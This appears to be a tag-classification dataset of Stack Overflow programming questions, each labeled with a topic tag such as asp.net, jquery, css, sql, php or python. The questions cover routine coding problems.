frameworks for tracking end user usage/analytics for microsoft asp.net  i would like to have framework for tracking web site/page usage within company firewalls on asp.net platform.    want to track hits and integrate with particular feature within an application to understand end user usage (i.e. log particular actions of users in addition to simple page count type analytics)    i have yet to find a framework to do this with asp.net/iis7 internal to a company (i.e. not google analytics)    thx,asp.net
insert a whole div (which is in another div) before the div comes after  i have this:   <pre><code>&lt;div&gt;    &lt;div class= navigation&gt;        &lt;ul&gt;            ...        &lt;/ul&gt;    &lt;/div&gt; &lt;/div&gt; &lt;div class= main &gt;  &lt;/div&gt; </code></pre>   i want to take .navigation div out of the div it is in  and place it on its own before .main div so i can get this:   <pre><code>&lt;div class= navigation&gt;      &lt;ul&gt;           ...      &lt;/ul&gt; &lt;/div&gt; &lt;div class= main &gt;  &lt;/div&gt; </code></pre>   help,jquery
easy css fix bugs (yet still need help)  ok i got 2 css ones for you   <ol> <li>check out this link here: <a href= http://benjaminpotter.org/clients/c3carlingford/ page_id=61  rel= nofollow noreferrer >http://benjaminpotter.org/clients/c3carlingford/ page_id=61</a> notice how the sidebar is all the way down the bottom  how can i get it to sit in the top right and have the text wrap around it </li> <li>have a look at the homepage: <a href= http://benjaminpotter.org/clients/c3carlingford/  rel= nofollow noreferrer >http://benjaminpotter.org/clients/c3carlingford/</a> now if you make the browser fill the screen like i do (1680x1050) the footer seems to gain an extra hundred or so pxls   here is my proof: <img src= https://i.stack.imgur.com/kxlmi.jpg  alt= enter image description here ></li> </ol>   but when the browser is smaller  there is no problem... again no idea why     well thanks again for the help! you lot are a great bunch &lt;3,css
how to populate a database   i have a mysql database with a single table  that includes an autoincrement id  a string and two numbers. i want to populate this database with many strings  coming from a text file  with all numbers initially reset to 0.    is there a way to do it quickly  i thought of creating a script that generates many insert statements  but that seems somewhat primitive and slow. especially since mysql is on remote site.,mysql
insert code which require where clause  i need to insert some data in a raw. suppose first i insert username  firstname lastname  etc and then i create a session  username  from the username field    now i need to insert gender  education  photourl where username= session username     i am using maltiview and view    <pre><code>protected sub btnsubmitd1_click(byval sender as object  byval e as system.eventargs)          dim temp as integer = (datetime.now.subtract(convert.todatetime( txtdob.text )).days) / 365          dim objcmd as new sqlcommand((((( insert into registration(username fname lname gender religion language status) values(   &amp; session( username ).tostring() &amp;      ) + txtfname.text &amp;      ) + txtlname.text &amp;       &amp; ddlgender.selectedvalue.tostring() &amp;      ) + txtreligion.text &amp;      ) + txtmothertongue.text &amp;       &amp; ddlmaritalstatus.selectedvalue.tostring() &amp;   )   con) </code></pre>,asp.net
how would i know which viewcontroller is currently active  i would like to know which viewcontroller is currently the active one. in other words  the one shown to the user,ios
group by of unique users  contributions returns higher totals than expected  using the <a href= http://data.stackexchange.com/  rel= nofollow noreferrer  title= data.se >stack exchange data explorer</a> i m trying to figure out who the top ten answerers on stack overflow are. this is my query:   <pre><code>select top 10 count (posttypeid) postcount  owneruserid from posts where posttypeid =  2  and owneruserid is not null group by owneruserid order by postcount desc </code></pre>   and  these are my results:   <pre><code>postcount owneruserid  --------- -----------  23628     22656        17505     29407        12978     157882       10863     34397        10598     23354        10560     17034        9341      20862        8600      115145       7394      57695        7073      1583   </code></pre>   the problem is: user 22656 is <a href= https://stackoverflow.com/users/22656/jon-skeet >jon skeet</a>  and his <a href= https://stackoverflow.com/users/22656/jon-skeet tab=answers >profile says he has 23 702 answers</a>.     i checked the others: <a href= https://stackoverflow.com/users/29407/darin-dimitrov >darin dimitrov</a> is user 29407. his profile indicates he has <a href= https://stackoverflow.com/users/29407/darin-dimitrov tab=answers >17 525 answers</a>  not merely 17 505. the others are all similarly skewed.    why am i getting wrong totals in <code>postcount</code>  how can i fix this,sql
is it possible to know what medium is used for sharing in ios   i am trying to figure out if there s a way to capture the selected medium for sharing. i have an ios app and there s a share button which shares a predefined template. when a user clicks on the share button  he is presented with the apps available that can used to share that  and if user selects facebook or whatsapp or skype  they are redirected to the native apps of the medium they selected. now i want to know what they selected.,ios
jquery and zotero  is it possible to use jquery in zotero translators     <strong>update</strong>    problem is that translators runs in sandbox  and there is no document object so jquery or sizzle returns following error: <code>referenceerror: document is not defined</code>,jquery
how to use the android system to decode mp3 and get the pcm data on the fly   i want to decode the pcm data from mp3 file using  mediaextractor and mediacodec   can anyone post me some samples      <blockquote>    blockquote  </blockquote>,android
apply a class and an attribute selector  i want to style this element:   <pre><code>&lt;input class= myslider  type= range  value= 20 &gt; </code></pre>   this is working:   <pre><code>input[class*= myslider ] {     -webkit-appearance: none;     width: 100px;     background-color: black;     height: 2px; } </code></pre>   but this is not working:   <pre><code>.myslider input[type=range] {     -webkit-appearance: none;     width: 100px;     background-color: black;     height: 2px; } </code></pre>   why can t i apply a class selector <strong>and</strong> an attribute selector,css
how to hide and show depending on div height  i have a <code>&lt;div&gt;</code> with <strong>id</strong> <code>#emailbody</code>   <pre><code>#emailbody {     width:100%;     min-width:500px;     float:left;     margin-bottom:20px;     max-height:90px;     overflow:hidden; } </code></pre>   now inside this is from emails received  so some emails will fit inside the <code>90px height</code>  however when i have long emails they do not.     so i put <code>overflow:hidden</code> to hide the excess email and only show <code>90px</code> worth of it.    what i want to do now is if the email is longer than the <code>90px height</code>  to show a button that can extend the height to show the full email  maybe get rid of the <code>max-height</code> and replace with <code>height:inherit</code>.    how do i achieve this  because with the <code>overflow:hidden</code> on i cannot use the <code>max-height</code>.    please help,jquery
how to achieve shake animation programmatically   how can i achieve shake/wobble animation in android programmatically. there is a <a href= https://github.com/daimajia/androidviewanimations  rel= noreferrer >androidviewanimations</a> library available through which we can get the effect. but i don t want to use any library for this purpose as it tends to increase the apk size.    the code present in the <a href= https://github.com/daimajia/androidviewanimations  rel= noreferrer >androidviewanimations</a> for shake animation is as follows:   <pre><code>public class shakeanimator extends baseviewanimator {     @override     public void prepare(view target) {         getanimatoragent().playtogether(                 objectanimator.offloat(target   translationx   0  25  -25  25  -25 15  -15  6  -6  0)         );     } } </code></pre>   can annyone tell me how can i achieve this without any libraries.,android
simple angular app - cannot get $http success/then to fire <pre><code>angular.module( alertapp   [      alertapp.controllers        alertapp.services  ]); </code></pre>  <hr>  <pre><code>angular.module( alertapp.services   []). factory( alertapiservice   function($http) {  var alertapi = {};  alertapi.getalerts = function() {   return $http({     method:  jsonp        url:  http://localhost:50828/api/alert    }); }  return alertapi; });  </code></pre>  <hr>  <pre><code>angular.module( alertapp.controllers   []) .controller( maincontroller   function($scope  alertapiservice) {     $scope.message =  hello mid-world! ;     $scope.alertslist = [];      alertapiservice.getalerts().success(function (response) {         $scope.alertslist = response;     });    }); </code></pre>   my app runs fine without errors and i can see the $scope.message displayed on the page. in fiddler i can see that my api call returns a 200 message  but the success function is never called. what have i done wrong    <strong>update</strong>    i changed to:   <pre><code>alertapiservice.getalerts().then(function successcallback(response) {      $scope.alertslist = response;   }  function errorcallback(response) {    console.log( turd );   }); </code></pre>   and although i receieve a 200 in fiddler  the error callback is called. the response is from web api and is of type ok();,angularjs
boolean input flipping  i m getting really strange results on a php script that takes boolean input. the idea is that the data needs to be stored as either a 1 or a 0  but the input to the php script is a string in true/false format. check this out:   <pre><code>&lt; php     function booltobinary($str) {         echo $_post[ wants_sms ] .     . $str;         die();          // posting this so that you can see what this function is supposed to do         //    once it is debugged         if ($str == true) {             return 1;         } else {             return 0;         }     }      $gets_sms = booltobinary($_post[ wants_sms ]);  </code></pre>   here is the output from this function:   <pre><code>false true </code></pre>   how can that be    thanks for any advice.    edit: solution: still not sure why my output was flipped  but the fundamental problem is solved like this:   <pre><code>if ($str ===  true ) {     return 1; } else {     return 0; } </code></pre>   thanks to rockethazmat for this.,php
sql query need help  hi i need small query here are my tables   <pre><code>user table    userid username  user001 987 user002 123 user003 456  logintrack    usrid lastlogin  user001 7/22/2009 user001 7/23/2009 user002 7/24/2009 user001 7/25/2009 user003 7/26/2009 user002 7/25/2009 user001 7/26/2990   expected output      userid username lastlogin  user001 987 7/26/2009 user002 123 7/25/2009 user003 456 7/26/2009 </code></pre>   regards  nagu,sql
jquery ajax call with async returns null responsexml  i have simple javascript code that is using the ajax api for fetching a xml from the server.   <pre><code>function loadxml(path  node) {     var response_obj =   ;     /* fire ajax request and get the xml */     var request_obj =   ;     $.ajax({         async: true          type:  get           url: path          datatype:  xml           success: function(xmlobj  status  resquestobj) {             response_obj = xmlobj;             request_obj = requestobj;         }          error: function(){             alert( unable to fire ajax request );         }     });     alert(response_obj); //&lt;-- this is null if async=true    /* more logic to follow which will use response_obj (xml)       and render it in the  node  argument passed. */ } </code></pre>   where  the path corresponds to a <em>valid</em> xml (tested using <a href= http://en.wikipedia.org/wiki/w3c_markup_validation_service  rel= nofollow noreferrer >w3c validator</a>) and the node points to a div element on the html page where the response has to be parsed and appended.    what i need is that the ajax call should return me the <code>responsexml</code> object which i will parse and render. for that  i am assigning the response xml to a local variable (local to this function s scope) and then would use it (currently i just send it to alert).    now  the problem is that when i use this function with <code>async</code> set to <code>false</code>  the <code>alert</code> call successfully returns <code>[object xmldocument]</code>. but as soon as i change <code>async</code> to <code>true</code>  <code>null</code> is printed by <code>alert</code>.    what i understand is that when <code>async:true</code>  the last <code>alert</code> is called even before the xml is returned by the ajax call. similarly  when <code>async:false</code>  this is a serialized call and when control reaches the last <code>alert</code> call  the xml has already arrived.    what should i do so that:   <ol> <li>i have the response object (and request object) as returned by the ajax call in the local variables so that i can use them. i understand that the call back function  if passed to <code>success</code>  would have three parameters - but  i don t know how to return from that call back function into my <code>loadxml</code> function.</li> <li>that i don t have to convert the ajax call into sync because this is just one of the functions that i am firing - there are many other ajax calls which too are to be issued.</li> <li>am i correct in my assumption that <code>async:false</code> is serialized in this function whereas <code>async:true</code> is not </li> </ol>,jquery
is it possible to echo num rows (integer) as decimal   i want to do something as echo integer but show it as decimal number..     in this case $rows[0] = 9     but i need to display it as 0.09 is that possible     <pre><code>&lt; php  $con = new mysqli( localhost    root     ) or die( not connected );  $mydb = mysqli_select_db($con   ehh ) or die( no db found );   if(!$con){ die( dont connect  . mysqli_connect_error()); }   if(!$mydb){ die( dont connect  . mysqli_connect_error()); }    $query =  select count(*) from ohh ; $result = mysqli_query($con $query); $rows = mysqli_fetch_row($result); $yeah = $rows[0];   echo $yeah;  mysqli_close($con);   &gt; </code></pre>,php
why does uploading file doesn t work with error checking   i just referred <a href= http://php.net/manual/en/features.file-upload.post-method.php  rel= nofollow >this doc</a> for error handling .    <strong>code</strong>   <pre><code> /*foreach ($_files[ file ][ error ] as $key =&gt; $error) {     print_r($error);     if ($error == upload_err_ok) {         move_uploaded_file($_files[ file ][ tmp_name ]  $path);     }   }*/    if(is_uploaded_file($_files[ file ][ tmp_name ]) &amp;&amp; move_uploaded_file($_files[ file ][ tmp_name ]  $path))    {     die( { success : the file  .  basename( $_files[ file ][ name ]).  has been uploaded } );   }else   {     die( { error  :   there was an error uploading the file  please try again! } );   } </code></pre>   if i use the commented part instead uncommented  my file is not uploading. but i referred the documentation to handle size  extension errors. please let me know if i understood anything wrongly.    and nothing gets printed if i try <code>print_r($_files)</code> in the console. how do i make my forst method working.,php
css: move child when mouse is on parent  i ve started with css just day ago so i m new to this.i d like to achieve moving blue rectangle when i move mouse on red rectangle.i m sure hover is able to handle this event  but i don t really know how to work with parent/child relationship.thank you.   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;/head&gt;  &lt;body&gt;     &lt;style&gt;     #first     {         width:50px;         height:50px;         position: relative;         top:100px;         left:100px;         background: red;     }      #second     {         width:50px;         height:50px;         position: relative;         top:200px;         left:200px;         background: blue;         transition: left 1s;     }      #first:hover + #second     {         left:250px;     }     &lt;/style&gt;     &lt;div id= first &gt;         &lt;div id= second &gt;&lt;/div&gt;     &lt;/div&gt; &lt;/body&gt;     &lt;/html&gt; </code></pre>,css
php - get total number of array items with a specific number sequence in value  so  basically i m trying to count the number of landline phone numbers in a list of both landlines and mobile phone numbers $mobile_list (071234567890 02039989435 0781...)   <pre><code>$mobile_array = explode(    $mobile_list);        // turn into an array $landlines = array_count_values($mobile_array);  // create count variable echo $landlines[ 020... ];                      // print the number of numbers </code></pre>   so  i get the basic count specific elements function  but i don t see where i can specify if an element  starts with  or  contains  a sequence. with the above you can only specify an exact phone number (obviously not useful).    any help would be great!,php
json parse from wiki  hello guys how can i parse wikipedia description  i don t need title or content i just need short description of wiki page. so i m to parser but there is an error;   <pre><code>private static string url =  https://en.wikipedia.org/w/api.php action=query&amp;format=json&amp;list=search&amp;srsearch=chocolate ;  //names final string query =  query ; final string list =  search ; final string title =  title ; final string snippet =  snippet ;  jsonobject searchjson = new jsonobject(searchjsonstr); jsonobject queryobject = searchjson.getjsonobject(query); jsonarray searchobject = queryobject.getjsonarray(list); jsonobject titobject = (jsonobject) searchobject.get(0);  string title = titobject.getstring(title); string description = titobject.getstring(snippet); </code></pre>   my error is;   <blockquote>    searchjsonstr cannot be resolved to a variable  </blockquote>,android
css shadow as image  i have these 3 boxes    <img src= https://i.stack.imgur.com/rml85.jpg  alt= enter image description here >    which are constructed in the following way:   <pre><code>    &lt;ul class= home_boxs &gt;         &lt;li class= home_box light_blue &gt;         &lt;div class= news clearfix &gt;&lt;/div&gt;         &lt;/li&gt;         &lt;li class= home_box blue &gt;         &lt;div class= news clearfix &gt;&lt;/div&gt;         &lt;/li&gt;         &lt;li class= home_box dark_blue &gt;         &lt;div class= news clearfix &gt;&lt;/div&gt;         &lt;/li&gt;     &lt;/ul&gt; </code></pre>   what i am looking to do now is to add a small shadow image (custom png) underneath each box. what would be the best way to have this achieved  some advise would be very much appreciated.    see sample:    <img src= https://i.stack.imgur.com/jj9ta.jpg  alt= enter image description here >,css
does not contain a definition for  y  and no extension method  y  accepting a first argument of type  x  could be found  my newtransport.aspx button control   <pre><code>&lt;asp:button id= najitridicebutton  runat= server  text= vyhledat ridice  onclick= najitridicebutton_click  /&gt; </code></pre>   my newtransport.aspx.cs method   <pre><code>protected void najitridicebutton_click(object sender  eventargs e) {     daodriver.searchdrivers(calendar1.selecteddate  casprepravytextbox.text  int32.parse(pocetosobtextbox.text)  extrazavazadla()); } </code></pre>   error i get   <blockquote>    cs1061: asp.newtransport_aspx does not contain a definition for najitridicebutton_click  and no extension method najitridicebutton_click accepting a first argument of type asp.newtransport_aspx could be found (are you missing a using directive or an assembly reference )  </blockquote>   when i delete that button  everything works correctly  so i don´t understand it  this is my first asp.net web app so please help me i have no idea why it doesn´t work  although i tried to google it or find answer here on stackoverflow - no result   <pre><code>&lt;%@ page title=   language= c#  masterpagefile= ~/pagetemplate.master   autoeventwireup= true  codebehind= newtransport.aspx.cs   inherits= aspdu1.newtransport  %&gt; </code></pre>,asp.net
link to ios 10 lock screen widget documentation   new in ios 10 users can interact with ios push notifications  such as respond to messages and get mapping information... can someone provide a link to the apple documentation on how this is accomplished  i d love to add this to my current app but can t find any information on how to build an actionable push notification.,ios
mkannotation - map pin callout pops up behind other map pins  my map pins can be quite densely populated so that when a pin is selected the callout pops up but is mostly obscured by all the other map pins - i can bring the map pin to the front it there were a delegate for selected map pin ( not tapped callout  selected pin ).    any suggestions for a work around,iphone
python serial.read() split error  i have an arduino connected to my pc. the arduino sends this over serial: <code>xx yyy\n</code> and i want to split it into two variables ... xx to tep and yyy to tlak  so i have written the following but it is giving me an error:   <pre><code>print( a list of the serial ports available on the system: ) print(serial_ports()) port =  com  + input( please enter the port number... ) # setup ser = serial.serial(port  9600  timeout=none  xonxoff=false  rtscts=false  dsrdtr=false)  while true:     sercan = ser.read()     can = sercan.decode( utf-8 )     tep  tlak = can.split(   )     print( t:   tep    tl:   tlak)     #print(can) </code></pre>   and result:   <pre><code>tep  tlak = can.split(   ) valueerror: not enough values to unpack (expected 2  got 1) </code></pre>   why do i get this error,python
how to make infinite scroll in will_paginate gem  i am trying  to make infinite scrolling but i don t know why it won t work  _allposts.html.erb parial   <pre><code>&lt;% @posts.each do |f| %&gt;     &lt;div class= iterate &gt;    &lt;%= f.text %&gt;    &lt;%= f.image %&gt;      &lt;/div&gt;     &lt;%= will_paginate @posts %&gt; </code></pre>   posts controller :   <pre><code>class pagescontroller &lt; applicationcontroller     def index     @posts = post.all.order( created_at desc ).paginate(page: params[:page]  per_page: 5)     end ... </code></pre>   end,ruby-on-rails
custom text for file input  is there a way to change the text on a a file input in html,html
case statement adding instead of subtracting  i have a case statement as part of a much larger query.     <pre><code>case     when #tab.pend_order = #tab2.pend_order and sum_overpmt &gt; 0       then (#tab.outbnd_837_clm_bill_amt - (sum_835_clm_paid_amt - sum_overpmt))    when #tab.pend_order = #tab2.pend_order and sum_overpmt is null       then (#tab.outbnd_837_clm_bill_amt - sum_835_clm_paid_amt) end as  balance  </code></pre>   in this section    <pre><code> case      when #tab.pend_order = #tab2.pend_order and sum_overpmt &gt; 0        then (#tab.outbnd_837_clm_bill_amt - (sum_835_clm_paid_amt - sum_overpmt)) </code></pre>   it s adding the <code>sum_overpmt</code> instead of subtracting it.      example:   <ul> <li><code>#tab.outbnd_837_clm_bill_amt</code> is <strong>156.25</strong></li> <li><code>sum_835_clm_paid_amt</code> is <strong>162.36</strong></li> <li><code>sum_overpmt</code> is <strong>133.90</strong></li> </ul>   my balance should be <strong>-140.01</strong> but instead i m getting <strong>127.29</strong>.,sql
change back color of every row of a table in ruby on rails  i want to change the backcolor of every rows  of a table but i am not quite sure what is the best way to do it. personally  i want to change on backcolor with ruby codes but i dont know how :(    here is my code:   <pre><code>&lt;% @word.each do |w| %&gt;                 &lt;% i=0 %&gt;                 &lt;% i=i+1 %&gt;                 &lt;% if i % 2==0 %&gt;  ........ </code></pre>   thank you for your helps    babak,ruby-on-rails
javascript functions initialized as a expression  why does function expressions does not be in stack if it is invoked before its occurence    <pre><code>console.log( myfunc()); var myfunc = function(){ }; </code></pre>   regular function declaration works right.,javascript
rdbms and graph database on the same rails application  i m developing a web app that has several  subapps  inside it. for some of them a rdbms is clearly the weapon of choice. the issue is that lately i came with an idea for a nice little subapp whose logic and performance would benefit greatly from using a graph based database.    my problem is: this subapp is important and graph is the way to make it happen. on the other hand  the others are just fine on a rdbms and in some cases migrating them to graph would add unnecessary complexity.    so  is it possible to have two heterogeneous database systems running on the same rails app  perhaps using each controller to specify where to connect,ruby-on-rails
regex not matching my string  i have this pattern i m trying to match against a string but it s not working and i m not sure why. here s what i have:   <pre><code>pattern wdecimal = pattern.compile( ((\\d+)\\.(\\d+))\\  ); // 12.5  matcher mwdecimal = wdecimal.matcher(line);     public static void main(string[] args) {     scanner input = new scanner(system.in);     string line =   ;     system.out.println( please input your architectural string:  );     boolean flag = false;     while(!flag) {         line = input.nextline();         system.out.println(wdash.matcher(line).matches());         if(mwdecimal.find()) {             formatwdecimal(line  mwdecimal);         }         else system.out.println( done );     } } </code></pre>   i ve tried testing using .find() and .matches() but they both return false when the input is <code>12.5 </code>  any idea why it s not working  thanks!    here s the code for the function call if needed:   <pre><code>    public static void formatwdecimal(string s1  matcher m) {     if (m.find()) {         double feet = double.parsedouble(m.group(1));         int feetpart = integer.parseint(m.group(2));         double inchespart = double.parsedouble(m.group(3));         double output = feet * 12;         system.out.print(s1 +   |   +  meaning:   + feetpart +   feet and   + f.format((inchespart * 0.1) * 12)                 +   inches. |   + double.parsedouble(g.format(output)) +   decimal inches. );     } } </code></pre>,java
angularjs factory two way data binding  i have an angular controller with some binded variables  and a factory that produces an array (used to populate options in a select control):   <pre><code>// controller mycontroller angular.module( users ).controller( mycontroller   [ $scope    authentication    myfactory        function($scope  authentication  myfactory) {         $scope.user = authentication.user;         $scope.options = myfactory.getoptions($scope.user.firstname  $scope.user.lastname);         ...     }     ... }  // factory myfactory angular.module( users ).factory( myfactory        function() {         var _this = this;         _this._data = {             getoptions: function(firstname  lastname){                 return [                     firstname +     + lastname                      lastname  +     + firstname                     ...                 ];               }         };         return _this._data;     } ); </code></pre>   it works well for the first time  but does not keep data in sync between the controller and the factory.    the intended effect is that a change in an argument of <code>myfactory.getoptions()</code> modifies the resulting array assigned to <code>$scope.options</code>.,angularjs
how can i check to see if x is within y of z   in my case  i m asking for a way to see if a value a is within 5 data values of value b. is there an easy way to do this without the use of several if/else relational statements,objective-c
counter intuitive meaning of < any & >any logic operators in sql  <code>any</code> intuitively means: anything that matches in the set. however  i found out it  it doesn t behave as expected in two cases:      <blockquote>    <code>x &gt; any(...)</code> the value must be greater than the smallest value in   the list to evaluate to true.<br>   <code>x &lt; any(...)</code> the value must be   smaller than the biggest value in the list to evaluate to true  </blockquote>   (<a href= http://www.oracle-base.com/articles/misc/all-any-some-comparison-conditions-in-sql.php  rel= nofollow >source</a>)     in other words  the entire result of sub-query introduced by <code>any</code> has to be compared to <code>x</code>  which runs counter to meaning of <code>any</code>. why is it so  or i am just misunderstanding the semantics of <code>&lt;any</code> &amp; <code>&gt;any</code> operators,sql
sql find most recent record  i have the following query which gets a tally of records with the given criteria.  the following shows the two records in the table and the results of the query.  what i want is to just get the most recent occurrence based on the <code>entrydate</code> column.   <pre><code>0 a 2012-08-09 00:00:00.000 n0206527 n0168639 null 09 420202 ltd false   0 a 2012-08-08 00:00:00.000 n0206527 n0168639 null 09 420202 ltd false  dcmnumber customerdivision customerserial product priornondenied     n0064819  09               420202     ltd     2   set @firstdayofcurrentmonth = dateadd(m datediff(m 0 getdate()) 0) select  dcmnumber  customerdivision  customerserial  product  count(*) as priornondenied                              from   cauassignedclaim                               where  recordtype =  a  and                                      escfromstd =  0  and                                      ([status] &lt;&gt;  de  or                                       [status] is null) and                                      convert(varchar(10)  entrydate  110) between                                          case when product =  ltd  then   convert(varchar(10)  @firstdayofcurrentmonth  110)                                            else convert(varchar(10)  dateadd(day  -7  getdate()-1)  110)                                          end                                          and convert(varchar(10)  getdate()-1  110)                               group by [status]                                          dcmnumber                                          customerdivision                                          customerserial                                          product   </code></pre>   thanks  brad,sql
switch / case issue  for c language  i know i m close  but for for any character inputted  the printout is  consonant . what is wrong with my switch case statement. will i need <code>if</code> statements     <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  int main() {     char name;     printf( enter a character:  );     scanf_s( %c   &amp;name);      switch (name)     {     case  a :         printf( vowel );         break;     case  e :         printf( vowel );         break;     case  i :         printf( vowel );         break;     case  o :         printf( vowel );         break;     case u :         printf( vowel );         break;     case  y :         printf( sometimes );         break;     default:         printf( consonant );     }     return 0; } </code></pre>,c
check duplicate before inserting data in access database using asp.net c#  i tried the mention below query to stop duplicate before inserting data. it works fine with sql database but its not working with access database. i want the same query to stop duplicate before inserting data to my access database. waiting for positive response. thanks   <pre><code>if not exists (select *                  from dbo.product                 where email = @email)    insert into dbo.product(list of columns)    values (list of values) </code></pre>,asp.net
ng-repeat directive sort the data when using (key  value)  i have a code something like this with ng-repeat =  (key value) in data .  in controller:    <pre><code>  $scope.dates = { today : 30                      this week : 42                      this month :  oct                      this quarter  :  bad                      this year  : 2013                                 } </code></pre>   and ng-repeat directive as    <pre><code>&lt;div ng-repeat= (key value) in dates &gt; {{key}} ==&gt; {{value}} &lt;/div&gt; </code></pre>   the output comes in sorted order as    <pre><code>this month ==&gt; oct this quarter ==&gt; bad this week ==&gt; 42  this year ==&gt; 2013 today ==&gt; 30 </code></pre>   how to get rid of this sorting(strange) as i want keys to be used in code.. i checked google group but there was a fiddle for using two arrays of which one was storing the key values. <a href= http://jsfiddle.net/saulzar/puhml/3/b >http://jsfiddle.net/saulzar/puhml/3/b</a> . don t want to go with this approach.,angularjs
file management  i am working on python and biopython right now. i have a file upload form and whatever file is uploaded suppose(abc.fasta) then i want to pass same name in execute (abc.fasta) function parameter and display function parameter (abc.aln). right now i am changing file name manually  but i want to have it automatically.    workflow goes like this.    ----if submit is not true then display only header and form part    --- if submit is true then call execute() and get file name from form input    --- then displaying result file name is same as executed file name but only change in extension    my raw code is here -- <a href= http://pastebin.com/fpugzsse  rel= nofollow noreferrer >http://pastebin.com/fpugzsse</a>    any suggestions  changes and algorithm is appreciated    thanks,python
angularjs - dependent select - how to get the picked value  so i have two dependent select  one for states and the other for cities. it works fine but i can t get the value picked in the first select. i tried everything  the only result i got was the list of all the cities. what i need is which state picked.    my code:   <pre><code>&lt;label&gt;states&lt;/label&gt;             &lt;select id= provincia  class= form-control  ng-model= ciudades  ng-options= provincia for (provincia  ciudades) in provincias &gt;               &lt;option value=  &gt;elegir&lt;/option&gt;             &lt;/select&gt;      &lt;label&gt;cities&lt;/label&gt;       &lt;select id= ciudad  class= form-control  ng-disabled= !ciudades  ng-model= modelciudad  ng-options= ciudad for ciudad in ciudades  required&gt;         &lt;option value=  &gt;elegir&lt;/option&gt;       &lt;/select&gt; </code></pre>   my list is something like this:   <pre><code>$scope.provincias = {florida:[ miami    orlando ]} </code></pre>   i try using ng-model on option tag but with no result.    thanks,angularjs
how to use string assignment structure   the codes:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  struct super_block {         unsigned short s_ninodes;         unsigned short s_nzones; };  #define nr_super 8 struct super_block super_block[nr_super];  int main() {         struct super_block * p;         struct super_block * s;         char b_data[] =  2020 ;          for(p = &amp;super_block[0] ; p &lt; &amp;super_block[nr_super] ; p++) {                 p-&gt;s_ninodes= 0;                 p-&gt;s_nzones = 0;         }          s = super_block;          *(s) = *((struct super_block *) b_data);         printf( %d\n%d\n   s-&gt;s_ninodes  s-&gt;s_nzones);         return 0; } </code></pre>   the question is: i want to    <pre><code>s-&gt;s_ninodes =20 and s-&gt;s_nzones=20  how to solve it   </code></pre>   why <code> *(s) = *((struct super_block *) b_data); </code> is not ok     thank you,c
java different calculator basic functions problem   the code below is a chunk from actual code of calculator.what it does is that user presses a number on the calculator then as he presses  +  the number on the text field gets stored and then he presses the next number and it gets stored when he presses  = .then in  =  if condition the addition function is performed.now i want both addition and subtraction running at one time that is after doing addition user wants to do subtraction then how will i do it        <pre><code>if(a.getactioncommand().equals( + )) {    q=tf.gettext();    x=integer.parseint(q); }  if(a.getactioncommand().equals( - )) {    b=tf.gettext();    t=integer.parseint(b); } if(a.getactioncommand().equals( = )) {    p=tf.gettext();    y=integer.parseint(p);    z=x+y;    //z=t-y;    w=integer.tostring(z);    tf.settext(w); } </code></pre>,java
documentation for rails .where function  where can i find documentation for the <code>where()</code> method      i came across code like this:   <pre><code>  def train(min_feature_freq = 3 test_split = 0.2 verbose=false)      liked = story.where(:like =&gt; true)     disliked = story.where(:like =&gt; false) </code></pre>   <a href= https://github.com/joelgrus/hackernews/blob/master/model.rb  rel= nofollow >https://github.com/joelgrus/hackernews/blob/master/model.rb</a>    it has  <code>story.where </code>. i searched google  did not find document for this <code>where</code>() method. the <code>story</code> class does not define it either. <a href= https://github.com/joelgrus/hackernews/blob/master/story.rb  rel= nofollow >https://github.com/joelgrus/hackernews/blob/master/story.rb</a>,ruby-on-rails
make div clickable  but don t break embedded links  i need to make a div clickable which per html5 is easy enough:    <pre><code>&lt;a href= # &gt;   &lt;div&gt;hello world&lt;/div&gt; &lt;/a&gt; </code></pre>   the problem i am having is some of my div objects contain links:    <pre><code>&lt;div&gt;hello world. &lt;a href= # &gt;click me&lt;/a&gt; </code></pre>   so the method in the first example breaks whenever i have an embedded link.   <pre><code>&lt;a href= # &gt;   &lt;div&gt;hello world  &lt;a href= # &gt;click me&lt;/a&gt;&lt;/div&gt; &lt;/a&gt; ^^^^ already closed here ---------------^^^^ </code></pre>   is there a better  clean way of handling this  so that empty space in the div is clickable  except for text - which could be plaintext or a link  like in my second example.,html
how to deal with malicious web requests  in our .net app we get requests for files like _vti_bin/owssvr.dll (which can be hack attempts).  i d like to handle them by doing something like adding the following code to application_beginrequest:   <pre><code>    if (httpcontext.current.request.url.tostring().contains( _vti_bin/owssvr.dll ))     {         httpcontext.current.response.clear();         httpcontext.current.response.end();     } </code></pre>   but i figure this is an unscalable  ineffective way of handling the problem.  any better ideas,.net
reopen application from background mode  application is in background mode  i m using ble connectivity  i want to open camera with ble command  i have to reopen my application from background mode  is there any way to do this  help will be appreciated. thanks in advance,ios
i hava installed requests moudel  but i can t use it  i have installed both python 2.6.9 &amp;&amp; python 3.4.3 &amp;&amp; python 2.7.6; and i have installed requests moudel in python2.7/sitepacakges folder.however when i use  import requests   pycharm show-- no moudel named requests .why     and how can i delete python 2.6.9,python
how binding internally works  is iobserver more optimized than traditional inotifypropertychanged   i used <strong>inotifypropertychanged</strong> for the first time in a simple wpf application. i want to know how exactly binding internally works. is it the clr which checks for any class with <strong>inotifypropertychanged</strong> implementation and records the subscribers that need to be informed about the changes     while i tried this on .net 3.5  i read about <strong>iobserver</strong> available with .net 4.0. is <strong>iobserver</strong> more optimized than the traditional <strong>inotifypropertychanged</strong> way,.net
why does bytearray_obj.extend(bytes) differ from bytearray_obj += bytes   just saw (and enjoyed) the video of brandon rhodes talking on pycon 2015 about bytearrays.    he said that <code>.extend</code> method is slow  but <code>+=</code> operation is implemented differently and is much more efficient. yes  indeed:   <pre><code>&gt;&gt;&gt; timeit.timeit(setup= ba=bytearray()   stmt= ba.extend(b xyz123 )   number=1000000) 0.19515220914036036 &gt;&gt;&gt; timeit.timeit(setup= ba=bytearray()   stmt= ba += b xyz123    number=1000000) 0.09053478296846151 </code></pre>   what is the reason of having two ways of extending a bytearray  are they performing exactly the same task  if not  what is the difference  which one should be used when,python
